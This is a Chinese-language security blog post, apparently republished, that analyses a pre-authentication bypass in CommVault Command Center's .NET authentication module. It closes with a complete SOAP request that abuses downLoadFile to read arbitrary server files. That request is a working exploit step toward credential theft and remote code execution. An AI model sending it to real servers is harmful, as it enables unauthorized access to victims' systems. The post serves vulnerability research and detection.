CommVault Command Center Pre-Auth Rce
2021-11-25 21:32:1 Author: y4er.com(查看原文) 阅读量:11 收藏

CommVault这玩意是两种语言(.net和java)开发的,两掺挺有意思。

下载链接

安装会自动更新 恶心坏了 只能在更新打补丁前先把dll拷出来然后再覆盖进去。

整个流程就是从一个权限绕过到文件读取,然后读用户密码拿到token,(java)最后通过api执行命令。只分析前半段,因为后半段java的源码被自动更新覆盖了,复现不了。

查看iis配置发现在81端口开放了多个虚拟目录,其中一个映射到了C:\Program Files\Commvault\ContentStore\CVSearchService

1.png

查看web.config中,使用CVInfoMgmtService.CVAuthHttpModulemodule来做权限校验。

2.png

CVAuthHttpModule类的Init中注册了几个事件OnEnter

3.png

在OnEnter中根据this.reject布尔值来判断是否拒绝访问,我们需要构造this.reject=false

4.png

向上回溯

5.png

this.reject在此处根据三个条件判断

  1. text!=null
  2. !flag3 ==true
  3. NonSecureOperations.canByPassCheck(text) == true

text值取自CVAuthHttpModule.readHeader()

6.png

跟进发现是从cookie中取

7.png

那么第一个条件随便满足,然后看NonSecureOperations.canByPassCheck(text) == true

8.png

canByPassCheck()先对传入参数解码,然后判断自身list中是否存在,如果存在极为true,而encodePass()函数就是base64解码而已

9.png

那么第三个条件满足,看第二个条件!flag3 ==true

flag3变量取自bool flag3 = this.IsRestWebService();

10.png

获取当前uri判断是否以CVWEBSERVICE.SVC结尾,那么我们可以用CVSearchService.svc。所以这里就有了一个权限绕过,可以访问CVSearchService.svc下的服务。

11.png

这有个文件读取。请求包如下

 1POST /SearchSvc/CVSearchService.svc HTTP/1.1
 2Host: 192.168.137.173:81
 3cookie: DataService.PopulateData
 4Connection: close
 5Content-Type: text/xml
 6soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
 7Content-Length: 338
 8
 9<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
10   <soapenv:Header/>
11   <soapenv:Body>
12      <tem:downLoadFile>
13         <tem:path>c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log</tem:path>
14      </tem:downLoadFile>
15   </soapenv:Body>
16</soapenv:Envelope>

12.png

nuclei已经有pr提交了 https://github.com/projectdiscovery/nuclei-templates/pull/3182/files

13.png

  1. https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
  2. https://srcincite.io/pocs/cve-2021-%7B34993,34996%7D.py.txt

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


文章来源: https://y4er.com/posts/commvault-command-center-pre-auth-rce/
如有侵权请联系:admin#unsafe.sh